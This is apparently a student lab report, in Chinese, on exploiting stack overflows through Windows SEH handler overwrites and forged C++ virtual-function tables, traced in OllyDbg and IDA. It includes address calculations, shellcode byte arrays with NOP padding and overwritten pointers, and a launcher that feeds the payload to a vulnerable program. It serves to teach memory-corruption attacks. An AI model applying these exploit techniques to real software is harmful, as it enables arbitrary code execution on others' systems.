实验目的
- 了解
SEH
攻击和虚函数攻击的基本原理; - 调试虚函数攻击代码,理解虚函数工作机制与内存分布方式,掌握基本的虚函数攻击与计算方式,并可以用
OllyDbg
追踪; - 通过调试
SEH
攻击代码,理解Windows
异常处理机制,掌握针对SEH
的攻击方式,并利用OllyDbg
跟踪异常状态。
理解程序
阅读并理解代码
1 |
|
- 函数
MyExceptionhandler()
是异常处理函数; Test()
函数的strcpy
处是典型栈溢出漏洞;_try{}
在test
函数栈帧中安装一个S.E.H结构
,其中除0
操作会产生异常。strcpy
操作没有产生溢出时,除0
操作产生的异常会被异常处理函数处理,而当strcpy
操作产生溢出时,会将栈帧中S.E.H
异常处理句柄改为shellcode
入口地址,代码植入成功。
调试SEH攻击代码
为了能出发
int 3
断点时启动OllyDbg
,设置OllyDbg
为实时调试器运行刚刚创建的
SHE_attack.exe
,发现要求创建UDD
目录运行刚刚创建的
SHE_attack.exe
,发现要求创建UDD
目录两个路径设置成功后,重新运行
SHE_attack.exe
程序,成功在int 3
上启动OllyDbg
在
strcpy
函数处设置断点,程序运行到此处时观察右下角缓冲区数据,可以看到在执行strcpy
函数之前,shellcode
的起始地址为0x0012FE48
执行完
strcpy
,确认shellcode
的起始位置是0x0012FE48
查看
S.E.H链
,地址0x0012FF18
查看地址
0x0012FF18
的记录,发现其指向下一个SHE指针
,接着是异常处理程序, 只需要把0x0012FF1C
这个 地址的内容改成shellcode
起始地址即可由于
shellcode
的起始地址为0x0012FE48
,第一个S.E.H地址
为0x0012FF18
(指向下一个S.E.H
的指针)0x0012FF1C
(异常处理地址),因此shellcode
需要使用0x0012FF1C-0x0012FE48=212
个字节进行填充。使用上次作业弹出框的shellcode
,剩下的空间用0x90
补齐至212
字节,在213-216
字节使用0x0012FE48
填充,注释掉_asm int 3
启动程序,成功出现弹框
shellcode
已经被执行,但是点击确定却没有反应,因为**shellcode
已经被当作系统异常处理来进行了**,所以点击确定不会退出程序。
调试虚函数攻击代码
与
SEH
实验相同,运行SHE_attack.exe
程序,成功在int 3
上启动OllyDbg
在
strcpy
函数处设置断点,程序运行到此处时观察右下角缓冲区数据,可以看到在执行strcpy
函数之前,shellcode
的起始地址为0x0042E27C
根据
shellcode
起始地址0042E27C
改写shellcode
,shellCode
长度为216 Bytes
,换算成十六进制为D8
,故shellcode
的末尾后四个字节地址是0x0042E27C+0xD8–0x4=0x0042E350
修改源程序启动程序,成功出现弹框,shellcode植入成功
测试结论
可以利用栈溢出数据把S.E.H
的异常处理函数地址替换为shellcode
入口地址,让程序跳转去执行shellcode
来实现我们自己的目的。
也可以通过利用虚函数原理达到攻击目的,让程序按照我们预先伪造的虚函数指针去寻找虚表,而在此处填上shellcode
的起始地址作为伪造的虚函数入口地址,让程序跳转去执行shellcode
。虚函数攻击原理如下:
通过以上两种方法都是利用了溢出手段来实现攻击目的,但是如今微软操作系统的安全性也在不断进步,很多溢出手段在新版本的操作系统上无法应用,日后还需要进行更加深入的研究。
思考题
针对虚函数思考题程序,在不修改源代码的情况下,研究如何利用栈溢出的方式攻击目标代码,通过命令行的方式植入shellcode
,弹出对话框。
分析程序源代码,发现程序运行需要输入两个参数,并且
main()
函数两次调用strcpy()
函数。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
class vf
{
public:
char buf[200];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};
class vf1
{
public:
char buf[64];
virtual void test(void)
{
cout<<"Class Vtable1::test()"<<endl;
}
};
vf overflow, *p;
vf1 overflow1, *p1;
void main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
//char * p_vtable;
//p_vtable=overflow.buf-4;//point to virtual table
// __asm int 3
//reset fake virtual table to 0x004088cc
//the address may need to ajusted via runtime debug
//p_vtable[0]=0x30;
//p_vtable[1]=0xE4;
//p_vtable[2]=0x42;
//p_vtable[3]=0x00;
if (argc == 3)
{
strcpy(overflow.buf,argv[1]);
strcpy(overflow1.buf,argv[2]);//set fake virtual function pointer
p=&overflow;
p->test();
}
else
{
printf("vf argv1 argv2\n");
}
}使用
ollydbg
打开vf.exe
程序文件,没有找到调用strcpy()
函数的命令,猜想可能是反汇编时使用其他函数代替了,使用IDA
打开查看,找到strcpy
处的地址为0x0041193E
和0x00411952
分析反汇编代码,发现
0x00411974
处调用了call dword ptr [edx]
,不同于常见的类似于call sub_xxxxxx
的调用方式,这种看不见地址的调用是使用虚函数的标志。mov ecx,dword_42EB08
访问指向这个对象开头的指针,而mov edx,[ecx]
访问这个对象开头的前4个字节,最后call dword ptr [edx]
调用虚函数。整个过程如下图所示。使用
ollydbg
打开程序,在地址0x0041193E
和0x00411952
处设置断点,即在两个调用strcpy
的地方设置断点。点击调试->参数
,为程序输入命令行参数运行程序至两个断点处,观察右下角缓冲区数据,得到
dest1
的地址为0x0042EB5C
,dest2
的地址为0x42EB14
在数据窗口中追踪
dest1
的地址,为0x0042801C
之前分析
dword_42EB08
是对象开头的指针,根据地址0x0041195A
处的汇编代码mov dword_42EB08,offset unk_42EB58
表明0x0042EB58
处是对象开头的位置了。0X0042EB58
刚好在dest
地址0X0042EB5C
之前说明了调用的函数是虚函数,虚表指针地址为0x0042801C
仍然使用前面实验的
shellcode
和计算地址的办法,把这个地方覆盖为shellcode
尾部的地址0x0042EB5C+0xD8-0x4=0x0042EC30
,shellcode
尾部再填上伪造的虚函数入口地址即可。由于于dest1
的地址刚好在虚表指针地址之后,dest2
的地址在虚表指针地址之前,用dest2
的地址进行覆盖编写shellcode如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
char shellcode1[]=
"\x33\xDB\x53\x68\x31\x32\x33\x34\x68\x41\x42\x43\x44\x8B\xC4\x53"
"\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x5C\xEB\x42\x00";
char shellcode2[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x30\xEC\x42\x00";
int main(){
char command[200];
memset(command,0,sizeof(command));
strcpy(command,"\"C:\\vf.exe\" ");
strcat(command,shellcode1);
strcat(command," ");
strcat(command,shellcode2);
system(command);
return 0;
}运行shellcode程序,成功弹出会话框